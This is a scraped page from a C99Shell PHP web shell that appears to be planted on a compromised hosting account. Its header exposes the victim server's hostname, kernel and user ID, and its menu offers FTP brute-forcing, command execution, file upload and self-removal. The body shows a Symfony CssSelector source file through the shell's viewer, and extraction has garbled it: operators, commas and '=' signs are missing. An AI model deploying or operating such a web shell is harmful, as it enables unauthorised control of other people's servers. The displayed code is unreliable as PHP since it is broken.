!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/opt/alt/php55/usr/share/pear/Symfony/Component/CssSelector/XPath/Extension/   drwxr-xr-x
Free 293.92 GB of 429.69 GB (68.4%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     NodeExtension.php (6.83 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\CssSelector\XPath\Extension;

use 
Symfony\Component\CssSelector\Node;
use 
Symfony\Component\CssSelector\XPath\Translator;
use 
Symfony\Component\CssSelector\XPath\XPathExpr;

/**
 * XPath expression translator node extension.
 *
 * This component is a port of the Python cssselector library,
 * which is copyright Ian Bicking, @see https://github.com/SimonSapin/cssselect.
 *
 * @author Jean-François Simon <jeanfrancois.simon@sensiolabs.com>
 */
class NodeExtension extends AbstractExtension
{
    const 
ELEMENT_NAME_IN_LOWER_CASE    1;
    const 
ATTRIBUTE_NAME_IN_LOWER_CASE  2;
    const 
ATTRIBUTE_VALUE_IN_LOWER_CASE 4;

    
/**
     * @var Translator
     */
    
private $translator;

    
/**
     * @var int
     */
    
private $flags;

    
/**
     * Constructor.
     *
     * @param Translator $translator
     * @param int        $flags
     */
    
public function __construct(Translator $translator$flags 0)
    {
        
$this->translator $translator;
        
$this->flags $flags;
    }

    
/**
     * @param int     $flag
     * @param boolean $on
     *
     * @return NodeExtension
     */
    
public function setFlag($flag$on)
    {
        if (
$on && !$this->hasFlag($flag)) {
            
$this->flags += $flag;
        }

        if (!
$on && $this->hasFlag($flag)) {
            
$this->flags -= $flag;
        }

        return 
$this;
    }

    
/**
     * @param int $flag
     *
     * @return boolean
     */
    
public function hasFlag($flag)
    {
        return 
$this->flags $flag;
    }

    
/**
     * {@inheritdoc}
     */
    
public function getNodeTranslators()
    {
        return array(
            
'Selector'         => array($this'translateSelector'),
            
'CombinedSelector' => array($this'translateCombinedSelector'),
            
'Negation'         => array($this'translateNegation'),
            
'Function'         => array($this'translateFunction'),
            
'Pseudo'           => array($this'translatePseudo'),
            
'Attribute'        => array($this'translateAttribute'),
            
'Class'            => array($this'translateClass'),
            
'Hash'             => array($this'translateHash'),
            
'Element'          => array($this'translateElement'),
        );
    }

    
/**
     * @param Node\SelectorNode $node
     *
     * @return XPathExpr
     */
    
public function translateSelector(Node\SelectorNode $node)
    {
        return 
$this->translator->nodeToXPath($node->getTree());
    }

    
/**
     * @param Node\CombinedSelectorNode $node
     *
     * @return XPathExpr
     */
    
public function translateCombinedSelector(Node\CombinedSelectorNode $node)
    {
        return 
$this->translator->addCombination($node->getCombinator(), $node->getSelector(), $node->getSubSelector());
    }

    
/**
     * @param Node\NegationNode $node
     *
     * @return XPathExpr
     */
    
public function translateNegation(Node\NegationNode $node)
    {
        
$xpath $this->translator->nodeToXPath($node->getSelector());
        
$subXpath $this->translator->nodeToXPath($node->getSubSelector());
        
$subXpath->addNameTest();

        if (
$subXpath->getCondition()) {
            return 
$xpath->addCondition(sprintf('not(%s)'$subXpath->getCondition()));
        }

        return 
$xpath->addCondition('0');
    }

    
/**
     * @param Node\FunctionNode $node
     *
     * @return XPathExpr
     */
    
public function translateFunction(Node\FunctionNode $node)
    {
        
$xpath $this->translator->nodeToXPath($node->getSelector());

        return 
$this->translator->addFunction($xpath$node);
    }

    
/**
     * @param Node\PseudoNode $node
     *
     * @return XPathExpr
     */
    
public function translatePseudo(Node\PseudoNode $node)
    {
        
$xpath $this->translator->nodeToXPath($node->getSelector());

        return 
$this->translator->addPseudoClass($xpath$node->getIdentifier());
    }

    
/**
     * @param Node\AttributeNode $node
     *
     * @return XPathExpr
     */
    
public function translateAttribute(Node\AttributeNode $node)
    {
        
$name $node->getAttribute();
        
$safe $this->isSafeName($name);

        if (
$this->hasFlag(self::ATTRIBUTE_NAME_IN_LOWER_CASE)) {
            
$name strtolower($name);
        }

        if (
$node->getNamespace()) {
            
$name sprintf('%s:%s'$node->getNamespace(), $name);
            
$safe $safe && $this->isSafeName($node->getNamespace());
        }

        
$attribute $safe '@'.$name sprintf('attribute::*[name() = %s]'Translator::getXpathLiteral($name));
        
$value $node->getValue();
        
$xpath $this->translator->nodeToXPath($node->getSelector());

        if (
$this->hasFlag(self::ATTRIBUTE_VALUE_IN_LOWER_CASE)) {
            
$value strtolower($value);
        }

        return 
$this->translator->addAttributeMatching($xpath$node->getOperator(), $attribute$value);
    }

    
/**
     * @param Node\ClassNode $node
     *
     * @return XPathExpr
     */
    
public function translateClass(Node\ClassNode $node)
    {
        
$xpath $this->translator->nodeToXPath($node->getSelector());

        return 
$this->translator->addAttributeMatching($xpath'~=''@class'$node->getName());
    }

    
/**
     * @param Node\HashNode $node
     *
     * @return XPathExpr
     */
    
public function translateHash(Node\HashNode $node)
    {
        
$xpath $this->translator->nodeToXPath($node->getSelector());

        return 
$this->translator->addAttributeMatching($xpath'=''@id'$node->getId());
    }

    
/**
     * @param Node\ElementNode $node
     *
     * @return XPathExpr
     */
    
public function translateElement(Node\ElementNode $node)
    {
        
$element $node->getElement();

        if (
$this->hasFlag(self::ELEMENT_NAME_IN_LOWER_CASE)) {
            
$element strtolower($element);
        }

        if (
$element) {
            
$safe $this->isSafeName($element);
        } else {
            
$element '*';
            
$safe true;
        }

        if (
$node->getNamespace()) {
            
$element sprintf('%s:%s'$node->getNamespace(), $element);
            
$safe $safe && $this->isSafeName($node->getNamespace());
        }

        
$xpath = new XPathExpr(''$element);

        if (!
$safe) {
            
$xpath->addNameTest();
        }

        return 
$xpath;
    }

    
/**
     * {@inheritdoc}
     */
    
public function getName()
    {
        return 
'node';
    }

    
/**
     * Tests if given name is safe.
     *
     * @param string $name
     *
     * @return boolean
     */
    
private function isSafeName($name)
    {
        return 
preg_match('~^[a-zA-Z_][a-zA-Z0-9_.-]*$~'$name);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0981 ]--